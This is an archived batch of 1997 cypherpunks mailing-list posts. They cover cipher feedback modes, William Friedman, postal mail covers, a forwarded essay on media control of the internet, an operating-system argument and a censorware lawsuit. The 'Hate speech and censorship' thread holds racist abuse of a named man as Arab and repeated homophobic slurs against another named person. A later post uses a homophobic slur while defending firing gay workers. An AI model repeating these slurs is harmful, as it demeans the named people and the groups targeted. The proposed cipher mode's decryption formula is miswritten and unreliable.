   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Tue, 23 Dec 1997 01:16:01 +0800
To: cypherpunks@cyberpass.net
Subject: Only the Paranoid Survive
Message-ID: <199712221712.LAA18556@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain



Intel CEO Andy Grove was just named Time Magazine's "Man of the Year"
for 1997.

-- 
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Johnson, Michael P (Mike)" <JohnsMP@LOUISVILLE.STORTEK.COM>
Date: Tue, 23 Dec 1997 11:53:07 +0800
To: "'honig@otc.net>
Subject: RE: Question on CFB variant with c[i-N]
Message-ID: <c=US%a=_%p=Stortek%l=LSV-MSG06-971222182205Z-86290@lsv-bridge.stortek.com>
MIME-Version: 1.0
Content-Type: text/plain



>David Honig <honig@otc.net> wrote:
>At 06:46 PM 12/20/97 -0700, Johnson, Michael P (Mike) wrote:
>>>
>>>
>>>>>              cfb    Ciphertext feeback mode
>>>>>                     c[i] = f1(K, c[i-1]) ^ p[i]
>>>>>                     p[i] = f1(K, c[i-1]) ^ c[i]
>>>
>>
>>
>>Suppose instead of c[i-1] you use c[i-N] where N is say 10. 
>>How would you prove that this has no security implications?
>>That 10-way interleaved cfb streams are security-equivalent to
>>a single cfb stream interleaved with the immediately previous block?

That would make it harder to get the process started, since you would
need 10 initialization vector blocks instead of 1, so it would bloat
your messages more.

How about this mode:
    c[i] = e(K1, e(k2, c[i-1]) ^ p[i-1]) ^ p[i]
    p[i] = e(K1, e(k2, c[i-1]) ^ p[i-1]) ^ p[i]

The feedback possibilities are literally endless. The analysis of the
effects on security, speed, error propagation, etc., are left as an
exercise for the reader. <grin>

Some standard modes have been well analyzed and accepted. They also are
built into specialized cracking hardware. Offering and using multiple
modes and multiple algorithms raises the cost of building specialized
cracking hardware.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: kozmo killah <k0zm0z@yahoo.com>
Date: Tue, 23 Dec 1997 03:58:50 +0800
To: scallon@pyrotechnics.net
Subject: Fwd: THE ULTIMATE GOLF GIFT
Message-ID: <19971222194623.953.rocketmail@send1b.yahoomail.com>
MIME-Version: 1.0
Content-Type: text/plain



note: forwarded msg attached.


_________________________________________________________
DO YOU YAHOO!?
Get your free @yahoo.com address at http://mail.yahoo.com


To: InternetUser@OnThe.Net
Subject: THE ULTIMATE GOLF GIFT
From: 42956274@hotmail.com
Date: Fri, 19 Dec 97 17:00:10 EST

THE ULTIMATE GOLF GIFT at http://www.cgagolf.com
THE MONTHLY GOLF GIFT "THE GIFT THAT NEVER ENDS"
COME VISIT THE CGA GOLF MALL FOR ALL YOUR GOLF NEEDS      
http://www.cgagolf.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Thomas Porter <txporter@mindspring.com>
Date: Tue, 23 Dec 1997 01:04:54 +0800
To: Jim Choate <cypherpunks@cyberpass.net
Subject: Re: Civil War Crypto Question... (fwd)
In-Reply-To: <199712221521.JAA17610@einstein.ssz.com>
Message-ID: <19971222120800.13559@vasili.rlf.org>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, Dec 22, 1997 at 09:21:05AM -0600, Jim Choate wrote:
> 
> Friedman? Who the hell is Friedman? None of my references has anyone by that
> named listed, let alone involved.

Tsk, Tsk, A cyppherpunk not knowing who Wiliam F. Friedman was?  Author of many
texts on cryptography, ... was a master at cryptanalysis during the two World
Wars and could be called the father of American cryptography.

around 1917, became the head of the Department of Ciphers. During this time
America became engaged in World War I. Intercepted messages were given to
Friedman and he was successful in breaking each and every one of them. 

Probably wrote analysis of early US military crypto systems that the
reference was drawn from.
-- 
Tom Porter                                       txporter@mindspring.com
------------------------------------------------------------------------
   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Tue, 23 Dec 1997 01:25:59 +0800
To: "cypherpunks" <cypherpunks@toad.com>
Subject: Re: Frank Olson
Message-ID: <199712221720.MAA27987@mx01.together.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On 12/22/97 4:46 AM, Bill Stewart (bill.stewart@pobox.com)  passed
this wisdom:

>Mail covers have been legal for a long time as well -
>as with pen registers on phones, they don't need a warrant to
>track your traffic.

 They do however need a formal letter from some LEA person to the
postmaster stating that your mail is of interest. Generally the USPS
guys are pretty specific on those counts; they have been burned in the
past. Further, if you should happen to be friendly with your
postmaster or one of your postal persons (the joys of living in a
small town) there is little to keep them from telling you that someone
is watching your mail; except of course; the displeasure of the LEA,
but its not covered by any laws, since they don't have a warrant. Of
course if you are really doing something nasty and illegal  being
anything more than 'the guy in Box 213' to your postmaster might have
its downsides.

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBNJ6e/j7r4fUXwraZAQGiTwf+OZuP5QleHtZS5bNBce2kyi2skNoSH30K
uYiQ9+EMqr5IZq8KSGHM4E6QD7hjRZLEWtEelQ3A6SdRl/oXIEHDpi/rVTZOrYd4
+zyyXYbwjgk6voK4I0Em5Uus6qFUBLIRdASfQAXa7gMtQDilvcTsCq6SrlK5+pxt
LOUEkk6INOGlaEdfxT3l/3CIq3G/7VTDWkNoycg+OLKHiuX7KiLKS22ZeujqULFp
T3mRwZwD9uyehRtghPMT3KNaGqzV8CJXVTTBbEYctW0fBhjI24iUQ1/2bo6POjEO
MD9lNya60BYlBDjDdg+pvtFqGMFRhMMd1LidOjNfLLeiIj/0nKjTnA==
=DuQO
-----END PGP SIGNATURE-----


Brian B. Riley --> http://members.macconnect.com/~brianbr
  For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

  "Do not go where the path may lead, go instead where there is 
   no path, and leave a trail."  - Ralph Waldo Emerson






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Tue, 23 Dec 1997 04:37:38 +0800
To: cypherpunks@Algebra.COM
Subject: globalization & the internet
Message-ID: <199712222031.MAA00682@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




some ranting & some food for thought..

------- Forwarded Message

Date: Mon, 22 Dec 1997 02:36:59 -0800
From: "J. Orlin Grabbe" <kalliste@aci.net>
To: snetnews@world.std.com
Subject: SNET: [Fwd: [OT] Information Highway: CLOSED?]


- ->  SearchNet's   SNETNEWS   Mailing List

This is a multi-part message in MIME format.
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Content-Disposition: inline

Path: news.alt.net!wnfeed!204.127.130.5!worldnet.att.net!newsadm
From: Bill Nalty <CBasher@worldnet.att.net>
Newsgroups: alt.current-events.clinton.whitewater
Subject: [OT] Information Highway: CLOSED?
Date: Sun, 21 Dec 1997 13:59:27 -0600
Organization: AT&T WorldNet Services
Message-ID: <67jsg3$bbb@bgtnsc02.worldnet.att.net>
Reply-To: CBasher@worldnet.att.net
NNTP-Posting-Host: 12.65.209.91
Mime-Version: 1.0
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For education and discussion. Not for commercial use.

tf mag
January 1998

A Not So Hidden Agenda ...

Closing the Information Highway

By Richard K. Moore

Domination of cyberspace is mission-critical for the masters 
of globalization

By RICHARD K. MOORE

Propaganda is an essential mechanism in democracy. It's the primary
means by which the elite insure that their interests aren't overwhelmed 
by the "excesses of democracy" and "mob rule."

In the see-saw struggle for power, ownership of media - to influence
opinion and government policies - has always been used to advantage by
economic elites. Popular movements also have effectively used the media,

from time to time, but in today's concentrated media industry, elite
control over public opinion is, essentially, total. So total that just
as a fish isn't aware of water, it's easy to forget how constrained the 
scope of public debate has become.

Even opposition to the status quo is channeled and deflected by media
emphasis, as with the US militia movements, the Perot and Buchanan
candidacies, and European nationalist movements. All these are used to
"define" anti-globalist sentiment as reactionary, isolationist, Luddite,
and racist.

Demonization of government and politicians - in fact, blaming government
for problems caused by globalism and excessive corporate influence - is
perhaps the single most potent coup of mind-control media in undermining
democratic institutions and promoting globalism.

REVISION BY OMISSION

Globalization itself exemplifies media propaganda's potency. The
rhetoric of neoliberalism, with its "reforms," "market forces," and 
"smaller government," isn't just a "position" within public debate. 
It frames debate. Politicians rarely question whether to embrace 
globalization, but compete to espouse national policies 
accommodating it.

As media is globalized and concentrated, it's no surprise that
globalization propaganda is one of its primary products. Whether 
the vehicle is a feature film, network news, advertisement, panel
discussion, or sit-com, the presumed inevitability of the 
market- forces system and the bankruptcy of existing political 
arrangements comes through - even when the future's dark side 
is portrayed.

The barrage's success is especially amazing given the utter bankruptcy
of the neoliberal philosophy. The experience of the robber-baron era is
simply forgotten in public memory. In true Orwellian fashion, we're 
told that market forces and deregulation are "modern" efficiencies, 
the brilliant result of state-of-the-art economic genius.

As a consequence of this historical revision by omission, we rarely 
hear that these policies have been tried before and found sorely 
wanting - that they prompted economic instability, monopolized markets, 
cyclical depressions, political corruption, worker exploitation, and 
social depravity. Nor do we hear about how generations of reform were 
required to re-introduce competition into markets, stabilize the 
financial system, and institute more equitable employer/employee 
relations.

In fact, regulatory regimes created a generally reasonable 
accommodation between interests of the elite and the people. But, 
because of media propaganda, everyone now "knows" that regulations 
are just the counter-productive ego-trips of well- or ill-meaning
politico-bureaucrats with nothing better to do than interfere in 
other people's business. Today's "reforms" dismantle reforms which 
moderated decades of market abuse. Yet, old wine can be presented 
in new vessels. As long as the message is repeated enough and facts 
that don't fit are never aired, the public can swallow it.

IMAGE CONTROL

The mass media is the front line of corporate globalist control. 
This adds extra urgency to the pace of global media concentration. 
The central importance of corporate-dominated mass media to the 
globalization process, and to elite control generally, must be 
remembered when predicting the Internet culture's fate once 
commercial cyberspace comes online.

The mass media's treatment of cyberspace and the Internet to date 
lends some portending insights. Two quite different images are 
typically presented, one commercially-oriented and the other not. 
The first, frequently seen in fiction or futuristic documentaries, 
focuses on the excitement of cyber adventures, the thrill of virtual 
reality, and the promise of myriad online enterprises. This 
commercially- oriented image has a positive spin. Suddenly every 
product and organization on the block has a www.My.Logo.com, often 
with only symbolic utility. Madison Avenue is selling cyberspace,
pre-establishing a mass-market demand for its future commercial 
version.

The other image presents sinister hackers, wacko bomb conspirators, 
and luring pedophiles. Those who use the Net daily find such stories
ludicrous and unrepresentative, but because we dismiss them, we may 
not realize that's about all the general population hears about 
today's Internet.

The infamous Time article on cyberporn, for example, was pure
demonization propaganda, and standard procedures were surreptitiously 
violated to get it printed. The effect wasn't undone by subsequent 
mild apologies. A recent US regulatory initiative (actually a 
censorship attempt), whose passage was assisted by that well-timed 
article, was fortunately rejected by the US Supreme Court. But the 
defamation campaign continues.

The relationship between cyberspace and democracy is complex. Internet
culture enables a renaissance of open public discussion - a peek at more
open democratic process. But a tiny minority of the world's population
experiences this phenomenon, which may not survive the commercial
onslaught.

On the contrary, as universal transport for mass media products,
cyberspace may deliver even more sophisticated manipulation of public 
opinion. Rather than the realization of the democratic dream, 
cyberspace may become the ultimate Big Brother nightmare.

When most significant events involve online transactions, and backdoors
are built into encryption algorithms and communications switches, 
everyone's every move will be an open book to those holding the keys 
to the net's nervous system. From the accounting records alone, there 
would be a complete trail of activity, and the privacy of this 
information (from government, police, credit bureaus, advertisers, 
direct mailers, political strategists, etc.) is far from guaranteed. 
Systematic massive surveillance by government agencies would be easy.

There's even the possibility of surreptitiously gathering audio and
video signals from home sets presumed to be "off," and remote 
overriding of home security systems or automobile functions. 
Mandatory chip- based ID cards or implants may sound fanciful, but 
the number of initiatives in those directions worldwide is alarming.

In short, cyberspace could become the ideal instrument of power for the
globalist elite, giving precise scientific control over what gets
distributed to whom, and full monitoring of everything everyone does.
Some may insist, "It can't happen here." I would ask, "What is there 
to stop it?" Corporate domination of information flows is inherent to 
the globalization process.

UTOPIA FOR THE FEW

You can think of digitial cyberspace as an utopian realm, where all
communication wishes can be granted. But who will run it? Net users 
tend to assume we'll use it for our creative purposes, just as with 
the Internet. But others have designs on it, too.

We're willing to pay a few cents per hour, while complaining about usage
charges, and our need for really high per-user bandwidth is unproven.
The media industry, in contrast, can bring a huge existing traffic into
cyberspace, with much higher value-per-transaction than e-mail, and
bandwidth-gobbling web. We want to pay commodity prices, while the 
media industry willingly pays whatever it takes - passing on costs 
to consumers.

>From a purely economic perspective, the media's interests could be
expected to dominate the rules of the road. But economic considerations 
may not decide cyberspace rules. Continued mass media domination of 
information distribution is necessary for the media to play its 
accustomed role as shepherd of public opinion. This is mission-critical 
to the globalization process and elite societal control.

The mechanisms of domination include concentrated infrastructure
ownership, licensing bureaucracies, information property rights, 
libel laws, pricing structures, creation of artificial distribution 
scarcity, and "public interest" censorship rules. These tactics have 
been refined throughout the life of electronic media technology, 
starting with radio, and their use can be expected as part of 
cyberspace commercialization.

Signs of these tactics are already evident. The US Internet backbone 
has been privatized; consolidation of ownership is beginning in 
Telecom and in ISP services; WIPO (World Information Property
Organization) is setting down overly-restrictive global copyright 
rules, which the US is embellishing with draconian criminal penalties; 
content restrictions are cropping up, boosted by anti-Internet 
propaganda; pricing is being turned over increasingly to "market 
forces" (where traditional predatory practices can operate); 
chilling libel precedents are being set; and moves are afoot
to centralize domain-name registration, beginning what appears 
to be a slippery slide toward ISP licensing. And these are 
still early days in commercialization.

Consider the US Telecom Reform Bill of 1996. Theoretically, it
encourages "increased competition." But consolidation is permitted 
both horizontally and vertically: A telco can expand its territory, 
and be sold/merged with content (media) companies. Prices and the 
definition of services are determined by "the market." There's also 
a transition period, during which it must be determined that 
"competition is occurring." After that, it becomes a more or less 
laissez-faire ball game, in a climate of deregulation and lack 
of anti-trust enforcement. There's no going back, no guarantee 
that if competition fades, regulation will return.

Just as the media industry is vertically integrated (owning its own
distribution infrastructure), so it will seek telecom acquisitions 
as the digital network nears implementation.

Following awesome merger wars among huge conglomerates, a single
media-communications mega-industry, dominated by a clique of
vertically-integrated majors, is likely to emerge. Regulation will
indeed govern cyberspace but - in accordance with the globalist 
paradigm - it will be regulation by and for the cartel.

CONTROL OF DISTRIBUTION

Monopolization is about creating an all-the-traffic- will-bear
marketplace. This operates today, for example, in cinemas and video 
rentals. Films compete on the basis of consumer interest, not price. 
So, cyberspace majors will compete, but in content acquisition - 
seeking the most successful offerings and coverage - and in extending 
market territories. This competition may bring consumers ever more 
titillating entertainment, but the scope and "message" of their 
entertainment (and information) will be molded by corporations. 
International regulations being created for libel, copyright, and 
pornography combine to make Internet culture ultimately untenable. 
A bulletin board, for example, would not be run in open mode;
in essence, staff would have to filter submissions to avoid 
prosecution liability. List owners would be forced to become 
censors, verifying contributor's statements like newspaper 
editors. The open universe of today's Internet seems destined 
for marginalization, just like CB-radio or public-interest 
broadcasting, thus completing the commercial domination of
cyberspace and corporate domination of society.

The ability to distribute media products at reasonable rates to large
audiences translates into the ability to start up a competing media
company, with production costs as the only major capitalization
required.

This is exactly what media cartels wish to avoid; discouraging start-ups
is what "control over distribution" is all about. In the case of TV,
scarce
bandwidth translated into expensive licenses, and the cartel was easily
maintained.

In cyberspace, the cartel can maintain distribution control by defining
services and setting prices, so that media distribution is artificially
expensive and cost-effective only on a massive scale, requiring massive
capitalization.

What will it cost to send a message to one person in commercial
cyberspace? My guess is that the "traffic will bear" about as much for 
a one-page message as a first-class letter. This may seem over-priced, 
but so what? I consider my voice phone service (and CDs) over-priced - 
c'est la vie under monopoly market forces. The advertising brochure 
will boast, "Get your message instantly to anyone in the world - for 
one flat rate less than a domestic postage stamp."

At 25 cents per recipient, a 500-person Internet mailing-list carries a
$125 posting fee direct from the poster to the telco. You can play with
the numbers, talk about receiver-pays, and note that corporate users 
will insist on affordable networking, but monopoly-controlled pricing 
could totally change Internet usage patterns.

The media-com industry will make plenty of money from 1-1 e-mail
messaging, and plenty more from their own commercial products. Whether 
they want to encourage widespread citizen networking is entirely up 
to them, according to their own sovereign cost/benefit analysis. 
If they don't favor it, it won't happen - except in the same 
marginalized way of HAM radio.

There likely will be some kind of commercial chat- room/discussion-group
industry, but monopolized by online versions of talk radio, presided
over by an Oprah Winfrey and Larry King - with inset screens for 
"randomly selected" guests. "Online discussion" will thus be a new 
kind of media product, its distribution economics structured to 
favor the cartel.

The prospects surely seem dim for both democracy and cyberspace, and
cyberspace itself may be more a part of the problem than a part of 
the solution.


Following a career in computer software with Xerox, PARC, Apple, and
others, RICHARD K. MOORE moved to Ireland, where he is developing a
book, a documentary, and a grant-funded website.
- --------------------------------- 
A Not So Hidden Agenda ...
Date: Sun, 21 Dec 97 19:07:24 +0000
From: Brenda Jinkins <bjinkins@wspice.com>

From: [www.FreeRepublic.com]
Posted by: Boyd () *
12/21/97 10:37:09 PST

- --------------595A704A5EC1CF912EEA531B--


- -> Send "subscribe   snetnews " to majordomo@world.std.com
- ->  Posted by: "J. Orlin Grabbe" <kalliste@aci.net>


------- End of Forwarded Message





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Tue, 23 Dec 1997 01:36:08 +0800
To: <cypherpunks@cyberpass.net>
Subject: Re: Coercive Monopolism vs Wimpyness
Message-ID: <199712221732.MAA28575@mx01.together.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

  I will preface these comments by saying that I run two boxes here a
Power Mac, on which I do most of my work, and a WinNT4/Linux dual boot
box as well.

On 12/22/97 4:50 AM, Secret Squirrel (anon@squirrel.owl.de)  passed
this wisdom:

>>And, since Windows OS is so pitifully lousy, why do people continue
>>to buy it, even without the computer attached;  why do they continue
>>to upgrade, even if it's so slow and bloated?   Don't they realize
>>Unix is better? Don't they realize they're just making Billg richer?

>Want to play a game from the store? Windows 95.

 or a Mac (admittedly not as many hybrids or mac-only titles)

>Want to install a new image in your Flash RAM on your motherboard? 
>DOS (Windows 95).

   on a Mac? who needs it?

>Want to have vendor-produced drivers? Windows 95.

   or a Mac

>Want to parse MS Turd documents? Windows 95 and MS Office.

  MacLinkPlus translators (bundled with OS) handles all WinDoze docs
(often better than WinDoze itself!)

>Want to use a Windows-specific bullshit class registration system 
>at your university? Windows 95.

  (ugh!)

>Happened to buy a printer? It won't say "Yes! It works with 
>Ghostscript!" Infact it won't say anything about hardware 
>compatability. It'll just say "Windows drivers included" along with 
>a list of a bunch of software that Idon't want and don't need. So 
>if it happens that the printer is nonstandard...Windows 
>95.

  most of the top manufacturers have Mac drivers. Epson printers even
come with Mac and PC interefaces built in

>Have a bunch of people in the office who don't care about platform 
>compatability and pass around Windows-specific document types or 
>programs? Windows 95.

  same answer as above MacLinkPlus translators

>Have a bunch of people in the office who, simply because Windows 
>and sometimes MacOS are taught as "computer education" in many 
>universities and public schools can't use anything else? Windows 95.

 point, to you, but, the aim is not to produce an extra 500,000
CompSci educated users. It is to provide a useful tool for the masses.
Windows (who stole its interface from mac who stole it from xerox)
type GUIs are easier to use than CLIs, it is only since the
entrenchment of GUIs that they have come forth in the Unix/Linux
world.

>Have to use a university computer lab? The machines are probably 
>running Windows 95. So you wind up with an incentive to use Windows 
>95 elsewhere. So...again, Windows 95.

 another point to you. as a high school teacher in an area where there
is a large IBM plant (read that as a lot of IBM employed taxpayers). I
watched with dismay as more and more IBM and compatibles have grown to
take over the lab. We have a fulltime hard wired Internet connection
from the state of Vermont and yet its all but useless half the time
because of one windows problem or another. The lab coordinator spends
more time fixing WinDoze compatability problem than teaching computer
use.

>Want to have a working copy of PGP 5.0 while everybody else has 
>started sending out DH-encrypted/signed messages and rolled DH 
>keys? Windows 95. (Yeah, yeah. The source was released in book 
>form.) 

 PGP5 Mac came out early also

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBNJ6kLD7r4fUXwraZAQH0rAf+LgoBszMSgqJ2OSKOP0p5jCW1uTM/exeE
O/C+V9VqMwnGbJjybMWU7arcqzntNlE/34matvXcm3Iz16gKt172rMfC46eewQ2W
AQE/OC/lu2V8kBm9USsE7xwc7/ff26aJAwFVtZs5qE3vdkGaprsh15qwLEF9NPZM
Kffg0sBhPxYvxAkZKUMqvGx44wt+qD/HYShEiAyd8UzBVWAFWKzZMA2v/ijd/YNJ
uv+umnP2W1eNYw6SChVDZEFbtagtQ4TSqXPKON41UHAlkAQ0aNydSFzxDctOoYbf
yozTSzQvzomL1gDK7bqqQnVSKvOxyLGaDoYEH7lb1H4ZgoNLZQtxMg==
=ZGQU
-----END PGP SIGNATURE-----


Brian B. Riley --> http://members.macconnect.com/~brianbr
 For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

 "The illiterate of the 21st century will not be those who cannot read and
  write, but those who cannot learn, unlearn, and relearn."   -Alvin 
Toffler






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Tue, 23 Dec 1997 05:03:24 +0800
To: cypherpunks@Algebra.COM
Subject: Lock and Load
Message-ID: <199712222041.MAA20452@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Not being a native English speaker, I do not understand the
meaning and origin of the phrase "LOck and Load".

Please explain.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jon Galt <jongalt@everest.pinn.net>
Date: Tue, 23 Dec 1997 01:51:02 +0800
To: Steve Schear <schear@lvdi.net>
Subject: Re: UK spooks invent RSA, DH in 1973
In-Reply-To: <v03102807b0be18de66e0@[208.129.55.202]>
Message-ID: <Pine.SUN.3.91.971222124142.27639A-100000@everest.pinn.net>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 17 Dec 1997, Steve Schear wrote:

> I believe the GATT we signed prohibits so-called submarine patents which are  filed or issued significantly after their date of inception, frequently due to delaying tactics by the filer in the patent office.  If so, no gov't newly filed claims should affect the issued patents.

Really???  Wow.  You actually signed GATT?  You and who else were you 
referring to?

______________________________________________________________________
Jon Galt
e-mail:  jongalt@pinn.net
website:  http://www.pinn.net/~jongalt/
PGP public key available on my website.
Democracy is two wolves and a sheep voting on what to have for dinner.
______________________________________________________________________





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 23 Dec 1997 05:03:50 +0800
To: cypherpunks@toad.com
Subject: Netly News Special Report: Censorware in the Stacks
Message-ID: <Pine.GSO.3.95.971222124449.7539K-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



The Netly News brings you a four-part exclusive report today on the first
library censorware lawsuit, filed this morning against a Virginia county
that installed X-Stop software. Also check out our upgraded Censorware
Search Engine to see if *you're* censored in Loudoun County -- we now
include databases from IGear and X-Stop.

Censorware in the Stacks -- lawsuit filed:
  http://cgi.pathfinder.com/netly/opinion/0,1042,1649,00.html

The Censor's Sensitivity -- X-Stop's woes:
  http://cgi.pathfinder.com/netly/editorial/0,1012,1652,00.html

Bob Corn-Revere to the Rescue:
  http://cgi.pathfinder.com/netly/editorial/0,1012,1653,00.html

Censorware Search Engine 2.0: 
 http://cgi.pathfinder.com/netly/spoofcentral/censored/

-Declan







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Tue, 23 Dec 1997 03:04:20 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Hate speech and censorship
In-Reply-To: <ysL5He9w165w@bwalk.dm.com>
Message-ID: <199712221855.MAA13705@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Dr.Dimitri Vulis KOTM wrote:
> Paul Bradley <paul@fatmans.demon.co.uk> writes:
> > Yes, those on the list a few months ago (around the time the list moved
> > from cocksucker John Gilmores toad.com to the distributed list format)
> > will remember censorous arab Sameer Parekh for sending abusive mail
> > threatening legal action to those who criticised the security of his
> > companies "stronghold" firewall, which I among others suspect to contain
> > govt. backdoors, uneducated and foolish arabs such as Parekh should stick
> > to what they do best: running kebab shops and/or selling cheap fake rolex
> > watches to tourists.
> 
> Sameer parekh sounds like he lives by the Arab proverb: "Women for sons,
> boys for pleasure, but a camel for sheer extasy".

I guess I am missing something, but what is so good about camels?

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 23 Dec 1997 02:36:11 +0800
To: cypherpunks@toad.com
Subject: Re: Hate speech and censorship (fwd)
In-Reply-To: <199712221620.KAA18039@einstein.ssz.com>
Message-ID: <2RL5He8w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate <ravage@ssz.com> writes:

> > Date: Mon, 22 Dec 1997 14:46:08 +0000 (   )
> > From: Paul Bradley <paul@fatmans.demon.co.uk>
> > Subject: Re: Hate speech and censorship
>
> > Yes, those on the list a few months ago (around the time the list moved
> > from cocksucker John Gilmores toad.com to the distributed list format)
>
> Dude, that was well over a year ago...

So?  has cocksucker John Gilmore quit sucking cocks in the meantime?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 23 Dec 1997 02:42:11 +0800
To: cypherpunks@toad.com
Subject: Re: Hate speech and censorship
In-Reply-To: <Pine.LNX.3.91.971222144241.3012A-100000@fatmans.demon.co.uk>
Message-ID: <ysL5He9w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley <paul@fatmans.demon.co.uk> writes:

> > Sameer is also notorious for making legal threats against those who questio
> > the security of the crypto software he peddles. The fact that he dispatches
> > his shysters to make threats, instead of even trying to answer our concerns
> > with facts, shows how much he himself believes in his products.
>
> Yes, those on the list a few months ago (around the time the list moved
> from cocksucker John Gilmores toad.com to the distributed list format)
> will remember censorous arab Sameer Parekh for sending abusive mail
> threatening legal action to those who criticised the security of his
> companies "stronghold" firewall, which I among others suspect to contain
> govt. backdoors, uneducated and foolish arabs such as Parekh should stick
> to what they do best: running kebab shops and/or selling cheap fake rolex
> watches to tourists.

Sameer parekh sounds like he lives by the Arab proverb: "Women for sons,
boys for pleasure, but a camel for sheer extasy".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Sheriff <sheriff@speakeasy.org>
Date: Tue, 23 Dec 1997 18:33:56 +0800
To: cypherpunks@toad.com
Subject: Re: Freedom Forum report on the State of the First Amendment
Message-ID: <l03020902b0c450fe1f1a@[209.130.130.25]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>Date: Sun, 21 Dec 1997 15:23:23 -0400
>To: David Honig <honig@otc.net>
>From: The Sheriff <sheriff@speakeasy.org>
>Subject: Re: Freedom Forum report on the State of the First Amendment
>Cc:
>Bcc:
>X-Attachments:
>
>>Marc, you have declared how far you take freedom: you apparently
>>believe it is proper for the government to intervene in private hiring
>>decisions.  Unfortunately many americans believe this intrusion is justified.
>
>I have to admit, at first I agreed with Marc, until I thought
>about it for a minute.  After all, to leave a people free is not
>to leave them in chaos -- freedom comes with responsibility,
>period.  It doesn't have to be levied by a governmental body --
>there will allways be consequences when a free man makes a choice
>or takes action in some way, be they good consequences or bad.
>
>After all, if the majority of the population of a free society
>didn't have a problem with homosexuals, and yet Employer X fired
>people because they were homosexual or friends with someone who
>was, I get the sneaking suspicion that one of two things would
>happen:
>
>1) Employer X's work force would eventually evaporate.
>
>2) Those who stuck with Employer X might soon find that
>   their boss doesn't discriminate solely against gays.
>
>In considering the position that employers have every right to
>fire for whatever reason, I have decided that the firing of an
>employee -- for whatever reason -- is, in itself, a form of
>speech.  "In terminating your employment and having you escorted
>off the premesis effective immediately, we here at Corp X are
>saying that all faggots suck."
>
>As such, who is to say that Employer X should be punished for
>his views?  Americans don't have a RIGHT to employment.  That's
>why people take their future into their own hands and become their
>own employers, right?
>
>

Best wishes and fresh-roasted peanut taste,
The Sheriff. -- ***<REPLY TO: sheriff@speakeasy.org>***
- ---
As kinky as it sounds, finger me to see my PGP key and
confirm the signature attached to this message.
- ---
Any and all SPAM will be met with immediate prosecutory
efforts.  Solicitations are NOT welcome here!
- ---
        ----BEGIN INFLAMATORY BLOCK----
Version: 160 (IQ)
Comments: Definitely one of their greatest misses.

Reporter: "Do you know what Public Enemy is?"
- ---
Citizen: "Public enemy?"
          [long pause]
         "Probably somebody in office."
        -----END INFLAMATORY BLOCK-----


-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 5.0 for non-commercial use <http://www.pgp.com>
